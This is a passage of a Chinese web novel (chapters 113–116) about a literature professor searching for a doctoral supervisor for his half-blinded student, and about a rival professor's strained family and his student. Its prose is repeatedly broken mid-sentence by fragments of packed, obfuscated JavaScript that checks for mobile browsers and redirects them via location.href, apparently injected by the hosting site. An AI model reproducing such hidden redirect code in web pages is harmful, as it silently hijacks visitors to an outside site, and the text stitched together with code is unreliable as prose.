“怎么会没有办法?你们学校古代文学才是最好的呀!严老师,纪老师,哦还有童老师,哪个不能收他?” 是,说起来都能收,但是没有一个具有可操作性。秦昭阳苦笑一声,寻思着要不要再去求一求童老师,也许童老师看到他如此有诚意,就会松口。 又或者,考虑一下让阅冬等一年,等严老师收了刘巍思,纪老师收了庄遂平,下一年就会有名额空出来了。 只要他这一年安抚好阅冬。 秦昭阳被拒绝完还不能马上回家,得先在外头消化完情绪,再想好说辞,总不能让小孩和他一起承受这种无能为力的挫败感。 可他最近隐隐感觉到,柏阅冬的敏锐又回来了,很多事情他尽力去瞒,但未必能瞒得住。 秦昭阳到家的时候,柏阅冬正在房里看书,听见声响,缓缓抬头,正正地看着师父。秦昭阳愣了一下,小孩这个样子,跟受伤之前的神情几乎一模一样。 “师父。” 秦昭阳回过神来,笑了笑:“看书呢。” “嗯,没事做,今天突然想起来,元词的项目是不是没做完?” 秦昭阳的笑僵在脸上,自从柏阅冬出事,这个项目就搁置了,校对办公室还在那里,肖晚亭和盛超也可以继续做事,但是秦昭阳一门心思扑在柏阅冬身上,根本没管。如果不是柏阅冬提起,他都要忘记这回事了。 如果当时不是他非要做什么校注,也不会发生后来的事。 似乎是察觉到师父的情绪有些低落,柏阅冬换了话题:“师父今天去找那个老师了吗?” “哦,找、找了,”秦昭阳迅速调整好状态,“那个老师还是很愿意招你的,可是师父想到不在一个学校,没办法照顾你,想想还是算了,师父不放心你一个人去别的学校读书。师父再看看学校里的老师。” 柏阅冬自然听得出是谎言,却也没有直接拆穿,只道:“师父,不要找了。” “怎么?” “师父,我要告诉你一件事。” 秦昭阳像是突然意识到了接下来要发生的事,心“扑通扑通”地跳,一点也不想听,但是他没有办法阻止柏阅冬说出口,就算不许他说,也不能不许他想。 柏阅冬很平静,受伤以来头一回这么平静:“其实,我没有读过元好问的词。您当时问我最近读了什么,我说问世间情为何物,我读的不是元好问,是金庸。” “我并不是什么涉猎广泛的好学生,我只是不爱学习。” “我也,不是读博的好苗子,只是有一点运气而已。师父,不必再……” 不必再为我费心了。 秦昭阳抬手抚上他的脑袋,两行眼泪直直淌下,毫无征兆:“阅冬,别这样……” “师父会想办法的,你别这么说……” “师父不会放弃的……” 临近年关,柏阅冬的家人从国外寄了很多东西过来,衣物吃食,补品药物,一应俱全,还打了一笔钱给秦昭阳。秦昭阳去邮局提着大包小包回来的时候,在楼梯拐角处遇见了不速之客。 “你怎么在这里?” 姜新宇手里提两个礼盒,颇有些手足无措,像是做贼突然被抓包:“秦老师好。” 秦昭阳猜到他的来意,没有什么好脸色,不应他,可姜新宇却叫住了他:“秦老师,我、我是想来看看柏师兄的,但是我知道他肯定不想见我,所以我也……也不去自讨没趣了,这是一点新年礼物,如果他不想要,就随便您怎么处理吧。”说罢,很怕秦昭阳拒绝似的,连忙塞到秦昭阳怀里,转身跑了。 本来东西就够多的,这回更没手拿了。秦昭阳往他溜走的方向白了一眼,艰难地回家去了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294756|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 没手掏钥匙,只能就着抱东西的姿势用小臂闷闷地撞了两下。好在妻子在家,很快过来开了门,见他这个样子,以为他把商场搬回来了:“怎么这么多东西?” 秦昭阳偷偷一瞥,见次卧房门关着,忙拉着妻子,提着姜新宇那两盒东西进了厨房,压着声音道:“这是姜新宇拿来的,别让阅冬知道。” 妻子立刻皱起眉头,一脸嫌弃:“他来干什么?怪不得辰辰从小就讨厌他!” “别说这么多,姜家的东西不会差,丢了可惜,你明天拿去你们单位分一分。” 妻子恍然大悟,连连点头:“行行行,我知道了,你放着,我明天拿去。” 除夕的前一晚,学院组织还在校的老师一起吃饭,让大家带家里人一起来,人多热闹。秦昭阳和妻子也去了——柏阅冬自然是不肯出去见人的。 席上多是一些上了年纪的老师,年轻老师都回家陪父母去了,他们这群老头子倒是孤孤单单的。 众人的注意力免不了还是放在秦昭阳身上,却又不好直接问柏阅冬的情况,只能打些擦边球。纪慎笑问:“昭阳下学期能回来上课没有?我们快要顶不住了。” 大家哈哈大笑,纷纷道纪老师辛苦,带了一大群学生,又要上本科生的课,又要上硕士生的课,下学期还有一门博士生的课,可要累死了。 秦昭阳也笑笑,说:“可以啊,现在阅冬挺稳定的,我有时候也出门,把他一个人留在家里,没事。” “那就这么说,下学期把本科生的古代文学史二给你上。” 秦昭阳笑着应了,顺便把话头引到了纪慎身上:“纪老师怎么一个人出来?忆芸嫂子呢?” 是啊是啊,怎么不见忆芸? 纪慎有些尴尬,道:“最近闹了点矛盾,又快过年了,她和纪沅回南京去了。” “七老八十了,还有什么矛盾?有话好好说,别吵啊!”童院长劝了一句,“哎,说到纪沅,他现在也还不错吧,上次我一个博士要出书,联系他们出版社,那边就是派纪沅来的,他应该能独当一面了。” “那好啊,”文艺学的学科负责人道,“虽然说咱们学校也有出版社,但是做古籍出版还是纪沅他们那个单位权威一点,什么时候办个活动,让纪沅带点人来认识认识,以后咱们有点人脉,出书就方便了。” “是啊,这些硕士博士要是能出书,那名声才算出去嘛!” 听着大家你一言我一语地讨论,纪慎始终保持着沉默,但一个想法却在脑海里渐渐成型。 113.放弃 散席之后,秦昭阳主动提出送严先生回家,并让妻子先行离开。严先生没有拒绝,和他一起走上了回家的路。 一路上秦昭阳都没有说话,但严先生知道,他必然有事相求。否则,往常这样的情况,都是纪慎送他的。 进了门,严先生脱下厚厚的棉袄,让他坐。秦昭阳没有客气,待严先生坐下后,坐在了他的对面。 “想和我说冬冬的事?” 秦昭阳点点头:“我想问,严老师能不能带他读博?”还不等严先生出口拒绝,他又马上补充,“不是明年,我知道刘巍思肯定要接着读博,我是想问,在刘巍思的后一年,您应该还会有招生名额,能不能,留给阅冬?” 严先生给他倒了一杯热水,轻轻放在他面前,缓缓道:“我愿意。” 秦昭阳猛地睁大了眼睛,没有想到事情如此顺利,可喜悦的心情还没涌上来,又听严先生道:“但冬冬未必愿意。” “且不说他和巍思原本是同届,让他入我门下,他就成了巍思的师弟。更重要的是,”严先生叹了声气,“新宇在我这里。” 晴天霹雳。 懊恼瞬间侵袭了秦昭阳,他怎么把这么重要的事情给忘了? 严先生很不忍,问:“童院和纪慎怎么说?” 秦昭阳不隐瞒,道:“纪老师说下一年的事,他没办法承诺。” 严先生点点头,也能理解纪慎的考虑,劝道:“要么就让阅冬再等一年,看看纪慎……” 秦昭阳摇摇头:“来不及了,如果再不能给他定下来,就……严老师,他已经萌生退意了,我等不起了……” “还有什么人可以考虑?” “文艺学的聂老师,他做古代文论的,阅冬跟着他,可以做词学思想。” 严先生虽然不想打击他,却不能不说实话:“聂老师年纪比我还大,身体又不好,早就想退了,这个学年都没有招博士,让他带冬冬,恐怕有点困难。” “严老师说的,我都考虑过,可是,真的没有人了,真的没有了……” 严先生长长地叹了声气,也许这就是缘分吧,人在这世上,各有机缘。 冬去春来,春天到来之际,柏阅冬在受伤后第一次拿起电话,拨通了母亲的号码。 他说,他的论文已经答辩通过,算是毕业了。 他说,他不打算再读博士了,留在国内也没有别的事。 他说,想去和爸爸妈妈在一起。 母亲在那头泪水涟涟,不住安慰就算不读博也没关系的,和爸爸妈妈在一起,做什么都可以,爸爸妈妈永远都爱你。 因为柏阅冬还是不愿意出门,母亲也不放心,所以只好让他在老师家里在住一段时间,说是等手上的事情忙忘了,让他大哥亲自去接他过来。 柏阅冬笑着答应下来,可挂电话的时候,脸上没有欣喜,只有落寞。 他就要离开这个地方了,就要跟他的学术道路说再见了。 因为一次争执,一场意外,他的人生就此改变了。 开学以后,庄遂平拿着寒假修改的论文来了一趟纪慎的办公室。放假前纪慎已经给初稿提过意见了,现在纪慎手里拿着的是庄遂平的二稿。 框架没有什么问题,语言也流畅了很多。如果不是非要和别人比较的话,庄遂平的论文写得还可以,而且他从前写过一些散文,所以在剖析诗人心理和分析诗歌的艺术特色的时候,别有一种飞扬的美感,这都是以前纪慎没有注意过的。 纪慎记得,庄遂平一开始写文章很像美文,所以一直否定他,逼着他改,改到后来,庄遂平似乎不会写文章了,写出来的东西又不好优雅又不严谨,连句子都通顺。可是最近这段时间,也许是他不那么听老师的话了,以前那种行文风格又回来了一点,和这两年纪慎的指导相互搭配着,居然有了一点独特性。 不像刘巍思那么理论化,也没有柏阅冬那么精准,但是很从容,很舒展。 倒是很有民国时期知识分子写文章的感觉。 纪慎仍旧提了一些意见,庄遂平没什么表情地应了,说会好好改的。他那副不紧不慢的样子莫名激怒了纪慎,纪慎指关节在桌上扣了扣:“之前让你想的事情想得怎么样了?” “什么事?”庄遂平真诚发问,眉眼间带着一丝茫然。 纪慎瞪了他一眼:“当然是……” 算了,自己都不上心,别人催有什么用? “你是真的不想读博了,是吗?” 语气很强硬,仿佛庄遂平说不就会被拉过去脱了裤子打屁股,可是庄遂平却没有害怕,只是淡淡道:“我并没有这个能力。” “一直否定自己让你觉得很快乐吗?” “一直否定我的,并不是我自己。” 而是你。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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庄遂平没有说话,不知道是不是答应了。 纪慎从抽屉里拿出厚厚一沓书稿,已经整理好,只要原样交到编辑手里就可以了。 “替老师去吧,遂平。” 庄遂平咬咬下嘴唇,犹豫片刻,伸手接过了书稿。 114.家庭 庄遂平小心翼翼地抱着那沓书稿回了宿舍,用宿舍过道里的公共电话拨了那个号码。听着听筒里传来的连线声,庄遂平在心里抱怨了一句:连是谁都不说,我怎么知道怎么跟人家打招呼? “您好!” 听筒里传来一个年轻的男声,庄遂平神经一紧张,忙道:“您好!是纪慎纪老师让我联系您的。” “哦,是要把书稿给我吧?他之前和我说过了,您怎么称呼?” “我是他的学生,庄遂平,您叫我小庄就好。” 对面笑出了声,过了会才道:“明天中午有空吗?” 庄遂平回答说有,于是对面说约在学校外面的咖啡馆。庄遂平想到要花钱,有点不情愿,但又没法拒绝,只好答应下来。 挂了电话,他闷闷不乐地复盘了两人的通话,越想越不高兴,他为什么要说自己是纪慎的学生?!还要去什么咖啡馆?纪慎又没给钱,难不成给了书稿再去跟纪慎说花了钱?到时候又要被纪慎责备!烦死了! 可他这个人,再怎么不情愿,也不会撂挑子不干。第二天中午,他如约来到校外的咖啡馆。那个时候,喝咖啡是一件小资而昂贵的事情,这么久以来,他只知道柏阅冬和秦嘉辰约会的时候去过一次,其他时候,咖啡馆都像是遥远的场景,模糊不清,跟他的生活搭不上边。 庄遂平局促不安地进了咖啡馆,找了一个角落里的桌子坐着,穿着白色上衣黑色裤子的服务员来问他要什么,他目光躲躲闪闪,说他要等人。 服务员点点头说好,又说有需要可以叫人,便离开了。 庄遂平长长地呼出了一口气。 两手搭在膝盖上,怎么坐都不舒服。明明是舒适的环境,干净的桌子,柔软的坐垫,明亮的灯光,温暖的气息,空气中甚至飘着淡淡的清香,可是这一切都让他焦躁。 他不该出现在这里。 如坐针毡地过了十来分钟,他终于看到一个年轻人双手插兜走进来,在门口处跟服务员笑着说了一会话,随后在服务员的指引下来到自己面前。 “庄遂平?” 庄遂平知道这就是约自己来的人,可是,可是这个人…… 也太像忆芸了吧?! 庄遂平站起来,两手就着裤子擦了擦,伸出去:“你好,我是庄遂平。” 对方笑了笑,跟他握手:“坐吧,我是纪沅。” 纪沅,果然是。 庄遂平坐下来,脑子里转过无数念头,纪慎有什么打算?为什么让他来见纪沅?难道真是他们父子俩关系太差,所以才找了自己?跟纪沅说话,要不要注意什么?会不会被告状?如果搞砸了,纪慎会怎么样? 乱七八糟的想法在脑袋里同时炸开,他的心跳得更快了。 服务员端着圆形棕色托盘,送上两杯咖啡,分别放在两人面前,又依次放下方糖、牛奶等,说了声慢用,走远了。 纪沅不着急,往咖啡里加糖又加奶,用小勺子搅了搅,端起来轻轻抿了一口,嫌弃道:“果然没有南京的好喝。” 庄遂平不懂这种洋气的玩意儿,只想赶紧完成任务回学校,于是道:“这是纪老师的书稿,给您。” 纪沅慢悠悠地放下咖啡杯,仔仔细细端详了庄遂平一阵,有点不可思议:“我还在想,让我爸转性的是什么人,你也不怎么样嘛!” 庄遂平有点尴尬,没有说话。 “别误会,对你没有恶意,就是觉得我爸那个人……”纪沅摊摊手,“你知道的。” 庄遂平想,我没兴趣知道你们父子间的事。 “哎,说说嘛,”纪沅倒是很有兴趣知道他们师生的事,“我爸怎么这么喜欢你?” “啊?”庄遂平简直听不懂他说的话。 “难道不是吗?他不是还带你去我爷爷那里?你知不知道他多少年没回过家了?为了你,特地回去一趟,啧啧啧,”纪沅说到底是南京人,说起话来不大像北方人,“还有啊,他为了不跟我联系,我工作之后,都不肯跟我们出版社合作,听说他这个书本来跟上海的出版社联系好了的,突然变卦,竟然给我打了个电话,神奇吧?我本来还在想他发什么神经,后来说会让你来找我,我才知道,就是为了给你搭线。他真的……”纪沅笑了一下,摇摇头,“他居然能为了一个学生做到这份上,怪不得我妈说他变了很多。” 庄遂平听着纪沅的话,眼前一阵阵泛白光,像是眩晕,又像是被强光照射,总之并不正常。 他变了很多吗?也许吧,可自己并没有感觉到。庄遂平想,他能感受到的只有纪慎一如既往强硬的要求和语气,时而投来的不耐烦和嫌弃的目光,至于其他的…… 哦,也许还是变了一点,至少他不动手了。 见庄遂平没有说话,纪沅误以为他是不善言辞,不好意思,便也不说了,拿过书稿:“稿子我拿到了,你回去跟我爸说一声,后面如果要修改,我还是找你?” “不了,你找纪老师吧,我在宿舍,接不到电话的。” 纪沅笑笑:“都行,不过我给他打电话,他估计还是会让你来。你有没有出书的计划?” “啊?”又是一个让人摸不着头脑的问题。 纪沅笑出了声:“你怎么这么好玩?他都让你来见我了,就是方便你以后出版啊!在给你介绍人脉,不懂?” 庄遂平呆呆地摇了摇头。 “他是不是就喜欢你这种什么心思都没有的啊?”纪沅无奈地摇摇头,“没事,反正以后你有什么想法,可以找我,特别是做别集校注,基本就是我们和上海那家出版社在做,你也不用跟我客气,说回来,我应该叫你一声师兄的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298035|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 庄遂平根本没法回这种话,只是勉强点了点头。 这一整天,唯一让庄遂平高兴的是那顿咖啡是纪沅请的,他没有出一分钱。至于纪沅那些话,听听就算了。 这个周末,刘巍思总算如愿以偿,到易堂生那里玩了一天,回来之后兴奋得蹦来蹦去,一直围着老师说这说那。 “老师,我感觉大师兄要收学生了!” 严先生笑着切了个橙子,把一瓣多汁的递给他:“你大师兄这才第一年,离带研究生还远呢!” “可是那个学生也才大二啊!等他要读研,大师兄就可以带他了吧!”刘巍思像小猪一样,嘴巴一动一动的,把橙子吃了个精光,就剩一块干净的橙子皮,“老师,我还要!” 严先生帮他捻着橙子瓣两头,把果肉翻出来:“那依你这个做师叔的看,那个学生如何?” 刘巍思歪着头想了想,说:“高高大大,方方正正。” 严先生笑了两声:“亏你还是读文学的,形容人家就用这么两个词。” “我觉得他跟大师兄很像,”刘巍思吃了橙子,被严先生抓住手放在水龙头底下“哗哗”地冲,“一下课就抱着书跟着大师兄问这问那,板着一张脸,跟小老头似的。大师兄好像很喜欢他,说话说个不停,还说什么,”刘巍思学着易堂生的语气,沉声道,“你这么不严谨,是要挨板子的。” 严先生边笑边关水龙头:“你大师兄到底是带过你,又带过新宇,现在很有老师的样子了。那个学生叫什么?” “叫曹毅。” 严先生点了点头,却没放在心上,毕竟还是不确定的事,又问:“上你大师兄家里看了没有?布置得好不好?” 说到这个,刘巍思就笑不出来了,挠挠头,说:“好是挺好的,就是……” “出什么事了?” “就是他跟嫂子啊,之前吵架了,嫂子就带着女儿回娘家住了,都不在家里。大师兄叫我不要说,老师听听就算了,别去问。” 严先生神情有些凝重,叹了声气:“你大师兄跟你嫂子不和也不是一天两天的事了,你刚来读大学那年,你嫂子还怀上过一个孩子,想着能生个男孩,可是后来不小心流掉了。那会你大师兄忙着读研,一门心思都放在论文上,你嫂子很伤心,从此感情就不好了。” 刘巍思不知怎么的想到纪慎,突然有个疑问,是不是他们这些很会做学术的人家庭都不太行啊? 正想着呢,脑袋被老师拍了拍,刘巍思扭头看去,听老师道:“你小子,以后不许这样啊,自己的家是最重要的,家里人是陪你一辈子的,别搞得像你纪老师和你大师兄那样。” “我肯定不会啊,我要是娶媳妇,肯定对她超级好。” 严先生笑得停不下来:“媳妇还没影儿呢!就会说大话!” 115.伤口 三月中,柏阅冬在家里收拾自己的东西,用纸箱一个个装好,等大哥过来,就可以一次性运到邮局寄出去。 他的东西还挺多的,书籍、文具、衣服、鞋子……还有一些七七八八的东西,有一个箱子里,全是他和秦嘉辰出去玩的时候买的小玩意儿,他实在舍不得丢。 秦昭阳这个学期每周要去上两节大课,常常一大早就出门了,中午回来就看见小孩蹲在地上,慢慢往纸箱里放东西。 “阅冬,再等等,好吗?” 柏阅冬扭头来看他,甚至笑了笑:“师父,我知道的,已经,没有希望了。” 柏阅冬看过前几年的招生公告,一般学校年前就会发通知,每个学院每个学科有几个博士名额,有意向的就会开始整理资料交到各个学院招生办,截止到三月底,学院就会筛选出符合考试条件的人选,四月底组织考试,五月中面试。可是今年不知怎么的,竟然还没有出公告,也许是有些学院还没有报准确的数据上去吧。 东西收拾好的那个晚上,秦昭阳一直在房里陪他坐着,什么也不说。 柏阅冬大概是感觉到了离别的气息,罕见地主动问了一句:“师父,有什么话要跟我说吗?” 秦昭阳眼里盈满泪水,却始终没有掉出来。他轻轻揉了揉小孩的头发,哽咽道:“我希望你不要去争那篇文章。” 话毕,眼泪应声而落。 我会告诉你,就让姜新宇拿去吧,一篇文章而已,没什么大不了的,除了元好问,我们还可以研究很多人,你还年轻,还有很多很多机会。我会告诉你,你自己的身体自己的人生才是最重要的,我们总会遇到让人愤怒却无可奈何的事情,看淡就好。我会告诉你,其实这件事应该由我去出面,但是我却简单粗暴地将这件事推给了你,你最该责怪的人,是你的师父。 “阅冬,我一直……一直都很后悔……” 如果不是为了证明自己的能力,如果不是为了在学术圈里出那些风头,他也不会逼着小孩这么早发文章、在学术会议上作汇报,小孩子也不会被别人盯上,不会遇到这种事。 “……是师父害了你,是师父对不起你……” 他不是一个好老师,不是一个好师父。 柏阅冬受伤以后,他们一直避免谈及这件事。这件事就像是他刚受伤时裹在右眼上厚厚的纱布,一揭开就会看见血肉模糊的可怖伤口。如今伤口虽然愈合了,但就像那只右眼,仍有不少细细碎碎的伤痕,让人一触及,就会忍不住逃避。 可是如今柏阅冬真要走了,就要永远离开这个地方了,再不说,就没有机会了。 柏阅冬脸上淡淡的,没有愤怒,没有难过,只有一点不易察觉的遗憾:“我知道,师父在我身上花了很多心思。” 手把手教改文章,想尽办法把他推到人前,让他去主持元词的校注项目。这些事情,放在别的学生身上,绝对都是要对老师感恩戴德的。柏阅冬一直都明白,师父是把他当成衣钵传人的。 “有些事,过去就过去了。” 柏阅冬心头憋闷,不愿意再说这些,转而道:“师父,我出国以后,还是会给您和师母打电话的,您到时候别嫌我烦。” 秦昭阳抹了眼泪,勉强笑笑:“怎么会?” “我走了以后,师父,您继续收学生吧。” 继续找一个合适的人,传承您的学术和精神,然后慢慢忘记我,忘记这段不堪的回忆。 “阅冬,”秦昭阳眼泪再次溢满眼眶,“师父没有办法,没有办法再收学生了。” 不是招生资格的问题,是心理障碍。 柏阅冬突然觉得不忍,是他把师父变成现在这个样子的,苍老而疲惫,再不复当年风采,如今再让师父恢复成以前的模样,又谈何容易? 可是啊,人不能一直站在原地。 “师父,时间会冲淡一切的,我会好,师父也会好的。” 秦昭阳走过来,轻轻抱住了他:“你出国以后,要乖乖的,想师父了就打电话,回来也可以,如果还有机会,就……” 就继续走你该走的路,不要放弃。 柏阅冬也抱住了他:“我明白的,师父。” 幸亏是提前了很多知道要离别,秦昭阳每一天都在不断说服自己,小孩离开这个伤心地也是好事,也许出国一段时间又会变得活泼开朗,万一哪天重拾信心,还是决定读个博士也不是没可能。 可是,到底是离开自己了…… 每次想到这,秦昭阳便忍不住唉声叹气。妻子在一旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298036|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念叨:“你说你叹什么气啊?人家阅冬是去找亲生的爸爸妈妈,多好的事!再说了,他现在不走,能一辈子不走?又不是你儿子,你绑这么紧干嘛?” “道理我都懂,但是舍不得嘛!” “我也是头一回见你这么当老师的,所有心思都放在一个学生身上,自己的家也不顾了,学院的事也不管了,我要是你们院长,迟早骂死你!” “那有什么办法?换了你,你怎么办?” “我怎么办?我一开始就不会把他接回家!你别说我心狠,可是师生而已嘛,当时人家爹妈都来了,你就让他们接走好了,你把他放在家里,又要照顾他,又要委屈自己,上回辰辰说回来,就因为家里没地方住,硬是不给回,你说你,怎么当爹的?” “行行行,别说了啊,这回走了,想留也留不住了。” 家里隔音很一般,那些话断断续续地传到柏阅冬耳朵里。他笑了笑,冲照片里的秦嘉辰道:“这段时间,麻烦你们了。辰辰,我要忘记你了。” 三月下旬,春光渐渐明媚起来,学生们也脱下了厚重的棉袄,活泼不少。那日下了课,秦昭阳抱着书往办公室走,想快点去菜市给柏阅冬买鱼。小孩今天早上突然说想吃鱼,他答应了要买的。 柏阅冬的大哥还有半个月左右就会来接他了,秦昭阳和这个弟子的时间不多了。 刚下课,学院里老师学生上上下下的,秦昭阳从人流的缝隙间穿过,往角落里那间办公室快步走去。 途中经过纪慎的办公室,正巧碰上纪慎出来,还拿钥匙反锁了门。 “哎,纪老师,”秦昭阳打了个招呼,才察觉今天的纪慎有点不同,他竟然穿得很正式,“这是怎么回事?穿成这样?” 纪慎自己也别扭,他平时穿得很随便,今天穿上衬衫西裤,就算外套是比较宽松的西装,却还是不舒服:“嗨,别说了,还不是童院说的。” “是有什么大事吗?” 纪慎笑道:“你还不知道吧?童院挖人挖了两年,总算是挖回来了。周懋恭今天就要到了,等会我和童院还有严老师去机场接他。” 那个名字一瞬间击中了秦昭阳,让他双腿钉在了原地:“你说谁?” “周懋恭啊,你知道的吧?” 116.周老 “纪老师,您等我一会,我也去!别走,等我!我放好书就来!” 看着秦昭阳一边说一边往办公室跑,纪慎无奈地笑了笑,笑完之后他才反应过来为什么秦昭阳这么激动。 学校今天就放出了博士招生公告,这是柏阅冬最后的机会。 幸亏早先就是准备两辆车的,不然就坐不下了。 童院和严先生见到手忙脚乱整理衣服和头发的秦昭阳时,心中略略有了猜测,只是忙着对接招待事宜,才没有多说。 一路上,几人不断确定着周懋恭下榻的招待所,晚上吃饭的时间和地点,以及明天的各项安排,看得出来对此事十分重视。秦昭阳不敢插嘴,也没有兴趣加入,反正他的任务只有一个,就是说服周懋恭收柏阅冬读博士。 “他真的不带硕士?”严先生问了一句。 童院摇摇头:“年纪大了,在国外早就不知道多少学生,回来更多还是想落叶归根,不愿意太忙太累,可以理解。” “那课总要上吧?”纪慎追问。 “上博士生的课吧,到时候他和煦和上博士的课,纪慎你就可以少一门课了,重心往学院的事情上挪一挪。” 童院年纪不小了,退下来也就是这一两年的事,不出意外,就是纪慎往上走了。 到了机场以后,秦昭阳立刻跑去给家里打了一个电话:“阅冬,是师父,师父今天有事,不能给你买鱼了,改天再给你买,家里有什么吃?行,那你自己热一热,小心点,别烫着了,乖乖的啊,等师父回去,哎,好,师父忙完了就回去,嗯,你听话。” 几人看着不远处打电话的身影,都不由得叹息起来。 童院长眸中忧虑甚深:“如果昭阳真要让周老先生收阅冬读博,我还是很担心。” 严先生对那位老先生不是很了解,问:“怎么说?” “周老那个年纪的人,煦和你也知道的,又古板又严厉。他在国外带学生几十年,虽然带了不少,但是学生一毕业就四处分散,没有一个能留在身边的,可想而知他有多难亲近。这是周老回来的第一个博士生,要是阅冬受不了,或者达不到他的要求,最后闹得换导师甚至退学,这……” 这也太难堪了。 严先生和纪慎听了,都不禁担忧起来。 “煦和,昭阳那边我不好说什么,你等会再跟他好好说说吧。” 严先生点点头:“好,我明白。” 出口那里陆陆续续出来了些人。童院不再说别的,立刻集中注意力盯着出口,甫一见到那个清瘦的身影,便快步走了上去。纪慎跟在后面,恭恭敬敬地问好,帮对方提行李。 周先生只一个行李箱,装了几件换洗的衣服,见了他们,微微点头,带着生人勿近的距离感。 童院始终保持着笑容,一一向他介绍这一行人,大家依次上前问好,说到秦昭阳时,还不等话音落下,秦昭阳便着急地握住了周先生的手:“周老先生,您好!我是昭阳,上回我们在词学论坛上见过,您记得吗?” 记得倒是记得,但是秦昭阳过分的热情让周先生颇有些不适,不动声色地抽回了手:“我有印象。” 童院引着周先生往外走:“周先生一路辛苦了,我们先回招待所休息吧,晚上我们安排了宴席,明天再带您去看看给您安排的房子,有什么需要,您尽管开口。” 说起来,周先生只比童院长大几岁,算是同龄人。如果是严先生,就会让他不必这么客气,也不用称呼先生,叫名字就好,可是周先生却心安理得,淡淡道了声:“有劳。” 回去的路上,纪慎、童院和周先生一辆车,严先生和秦昭阳坐了另一辆车。 秦昭阳是很想上前面那辆车的,可是他还不够格。见后生如此落寞,严先生拍拍他的肩膀,把童院的话跟他说了,让他再慎重考虑。 秦昭阳点了点头:“我知道,我会见机行事的。” 但谁也没有想到,秦昭阳的见机行事竟然是第二天一早在招待所的前台等着周先生。他本想到房间门口等的,但是人家不给他进去,他就站在那里,一声不吭,一直等到周先生出来。 他知道,今天童院要来接周先生去看房子,他一定会出门。 “周先生,我是昭阳。” 周先生看了他一眼,很快移开了视线:“你们童院说,今天是他来接我。” “是,他会来接您,我是自己来的,您记不记得柏阅冬?他在词学论坛上读过论文!您和他交流过!”周先生似乎对这些都不感兴趣,径直往外走,秦昭阳一边追一边说,“他要读博士!他要一个博导!周先生!” 周先生忽然转过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300541|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身来,平静地问:“如果是他要读博士,为什么不是他来?” 秦昭阳顿时没话讲了,可余光竟瞥见一辆车停在招待所门口,童院笑着从车上下来了。他知道自己没时间了,忙道:“他受伤了!他没办法出门!您给他挂个名……” “周先生,哎,昭阳,你怎么也在?”童院笑吟吟地问,把他剩下的话都截了。 周先生没有请秦昭阳一块上车的意思,只道:“我后天会搬进学校里住。”还顺便告诉了他学校的地址。 看着童院和周先生上车后扬长而去,秦昭阳挫败不已,可想到周先生最后的话,难道是……还有机会? 于是,对周先生的围追堵截从招待所转移到了学校宿舍。 学校给周先生安排的是宿舍区最边上也最新的一栋楼,在这个寸土寸金很难再扩张的城市,宽敞的三房两厅,已经算是很好了。秦昭阳往楼上走的时候忽然想起来,这栋楼里安置的都是德高望重的老学者,就连严先生都还没有这样的优待。 找到周先生说的楼层和房号,秦昭阳抬手敲了敲门。才一会儿,门就打开了,周先生脸上没有一丝意外,淡淡道:“进来吧。” 因为刚搬过来的关系,房子里几乎没有什么家具,不少东西凌乱地堆在空地上,连个坐的地方都没有。 “我等会就要去学院办手续,就不请你坐了,你有十五分钟。” 秦昭阳深呼吸,连语速都快了:“周先生,柏阅冬您是知道的,他研究宋词,很聪明也很优秀。去年他为了一篇文章和别人起了冲突,右眼受伤失明,这一年都很消沉,但他仍然坚持完成了毕业论文,通过了答辩。我也试过给他找别的老师,可是这些老师不是不愿意就是情况不合适,您可能是我找的最后一个老师了,如果您不答应,他就没有办法了。” “不要在我身上寄托任何希望。”周先生站得直直的,如果不是头发已经花白,根本看不出年纪,“带他来见我。” 